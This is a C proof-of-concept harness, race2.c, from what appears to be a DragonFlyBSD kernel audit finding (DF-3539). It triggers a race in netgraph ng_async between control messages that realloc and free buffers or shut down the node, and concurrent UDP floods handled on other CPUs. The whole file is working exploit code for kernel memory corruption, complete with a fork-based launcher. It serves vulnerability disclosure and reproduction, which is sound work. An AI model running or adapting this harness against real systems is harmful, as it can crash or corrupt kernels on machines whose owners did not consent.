⬢ DragonFlyBSD Kernel Audit
DF-3539 / race2.c
← back to finding ↓ download raw
/*
 * DF-3539 - v1 netgraph ng_async: control-path (rcvmsg) vs data-path
 * (rcvdata) race.  sys/netgraph/async/ng_async.c mutates sc->abuf/sc->sbuf
 * (realloc + kfree) and frees the whole node from nga_rcvmsg/nga_shutdown
 * with zero serialization, while nga_rcv_async/nga_rcv_sync run directly
 * in the packet-input (ksocket upcall) context on other CPUs.
 *
 * usage: race2 ctl <config|cycle>   - run the control-side driver
 *        race2 flood                - run one UDP flooder (run several)
 *        race2 all                  - fork the whole harness
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <errno.h>

#ifndef AF_NETGRAPH
#define AF_NETGRAPH 32
#endif
#define NG_CONTROL 2

#define GCOOKIE 851672668U
#define ACOOKIE 886473717U
#define KCOOKIE 942710669U
#define NG_MKPEER 2
#define NG_NAME 4
#define NG_SHUTDOWN 1
#define A_SETCONFIG 3
#define K_BIND 1
#define UDP_PORT 9999

struct m5 {
	struct {
		u_int8_t v, s;
		u_int16_t arglen;
		u_int32_t flags, token, cookie, cmd;
		u_int8_t cmdstr[32];
	} h;
	u_int8_t data[256];
};

static char g_name[32];
static int g_port = UDP_PORT;

static int
send1(int s, const char *path, u_int32_t cookie, u_int32_t cmd,
    const void *arg, int arglen)
{
	struct m5 m;
	struct { u_int8_t len, fam; char data[64]; } sg;

	memset(&m, 0, sizeof(m));
	m.h.v = 2;
	m.h.arglen = arglen;
	m.h.cookie = cookie;
	m.h.cmd = cmd;
	if (arglen)
		memcpy(m.data, arg, arglen);
	memset(&sg, 0, sizeof(sg));
	sg.fam = AF_NETGRAPH;
	strlcpy(sg.data, path, sizeof(sg.data));
	sg.len = strlen(path) + 3;
	return sendto(s, &m, sizeof(m.h) + arglen, 0,
	    (struct sockaddr *)&sg, sg.len);
}

static int
mk_async_graph(int s, const char *name)
{
	struct { char type[32], ourhook[32], peerhook[32]; } mk;
	struct { char name[32]; } nm;
	struct sockaddr_in sin;
	struct { u_int8_t enabled; u_int16_t amru, smru; u_int32_t accm; } cfg;
	char path[64];
	int i;

	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "async", sizeof(mk.type));
	strlcpy(mk.ourhook, "sync", sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "sync", sizeof(mk.peerhook));
	if (send1(s, ".", GCOOKIE, NG_MKPEER, &mk, sizeof(mk)) < 0)
		return (-1);
	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, name, sizeof(nm.name));
	if (send1(s, "sync", GCOOKIE, NG_NAME, &nm, sizeof(nm)) < 0)
		return (-1);
	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "ksocket", sizeof(mk.type));
	strlcpy(mk.ourhook, "async", sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook));
	snprintf(path, sizeof(path), "%s:", name);
	if (send1(s, path, GCOOKIE, NG_MKPEER, &mk, sizeof(mk)) < 0)
		return (-1);
	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(g_port);
	sin.sin_addr.s_addr = htonl(0x7f000001);
	snprintf(path, sizeof(path), "%s:async", name);
	for (i = 0; i < 200; i++) {
		if (send1(s, path, KCOOKIE, K_BIND, &sin, sizeof(sin)) >= 0)
			break;
		if (errno != EADDRINUSE && errno != EINTR)
			return (-1);
		usleep(2000);
	}
	if (i == 200)
		return (-1);
	memset(&cfg, 0, sizeof(cfg));
	cfg.enabled = 1;
	cfg.amru = 1600;
	cfg.smru = 1600;
	snprintf(path, sizeof(path), "%s:", name);
	if (send1(s, path, ACOOKIE, A_SETCONFIG, &cfg, sizeof(cfg)) < 0)
		return (-1);
	return (0);
}

static void
set_amru(int s, const char *name, int amru)
{
	struct { u_int8_t enabled; u_int16_t amru, smru; u_int32_t accm; } cfg;
	char path[64];

	memset(&cfg, 0, sizeof(cfg));
	cfg.enabled = 1;
	cfg.amru = amru;
	cfg.smru = 1600;
	snprintf(path, sizeof(path), "%s:", name);
	if (send1(s, path, ACOOKIE, A_SETCONFIG, &cfg, sizeof(cfg)) < 0)
		perror("setconfig");
}

static double
now(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return tv.tv_sec + tv.tv_usec / 1e6;
}

static int
ctl(const char *mode)
{
	int s = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	char path[64];
	double t0;
	int iter;

	if (s < 0) {
		perror("ng control socket");
		return (2);
	}
	snprintf(g_name, sizeof(g_name), "a%d", (int)getpid() & 0xffff);
	g_port = 20000 + ((int)getpid() % 20000);

	if (mk_async_graph(s, g_name) < 0) {
		fprintf(stderr, "graph build failed: %s\n", strerror(errno));
		return (2);
	}

	if (strcmp(mode, "cycle") == 0) {
		t0 = now();
		for (iter = 0;; iter++) {
			snprintf(path, sizeof(path), "%s:", g_name);
			if (send1(s, path, GCOOKIE, NG_SHUTDOWN, NULL, 0) < 0)
				perror("shutdown");
			if (mk_async_graph(s, g_name) < 0)
				perror("rebuild");
			if ((iter & 255) == 0) {
				printf("cycle %d (%.1fs)\n", iter, now() - t0);
				fflush(stdout);
			}
		}
	}
	/* config mode: alternate 8191/8192 -> realloc+kfree each grow */
	t0 = now();
	for (iter = 0;; iter++) {
		set_amru(s, g_name, (iter & 1) ? 8191 : 8192);
		if ((iter & 4095) == 0) {
			printf("cfg %d (%.1fs)\n", iter, now() - t0);
			fflush(stdout);
		}
	}
}

static int
flood(void)
{
	int fd, i;
	unsigned char *pkt = malloc(8000);
	struct sockaddr_in sin;

	if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		perror("udp");
		return (2);
	}
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(getenv("DF3539_PORT") ? getenv("DF3539_PORT") : "9999"));
	sin.sin_addr.s_addr = htonl(0x7f000001);
	for (i = 0; i < 8000; i++)
		pkt[i] = ((i % 64) == 0) ? 0x7e : 0x41;
	for (;;) {
		if (sendto(fd, pkt, 8000, 0,
		    (struct sockaddr *)&sin, sizeof(sin)) < 0) {
			if (errno == ENOBUFS || errno == EINTR) {
				usleep(500);
				continue;
			}
			perror("udp sendto");
			usleep(5000);
		}
	}
}

int
main(int argc, char **argv)
{
	int i;

	if (argc < 2) {
		fprintf(stderr, "usage: race2 ctl config|cycle | flood | all\n");
		return (2);
	}
	if (strcmp(argv[1], "flood") == 0)
		return (flood());
	if (strcmp(argv[1], "all") == 0) {
		char env[32];
		snprintf(env, sizeof(env), "%d",
		    20000 + ((int)getpid() % 20000));
		setenv("DF3539_PORT", env, 1);
		for (i = 0; i < 3; i++)
			if (fork() == 0)
				return (flood());
		return (ctl(argc > 2 ? argv[2] : "config"));
	}
	return (ctl(argc > 2 ? argv[2] : "config"));
}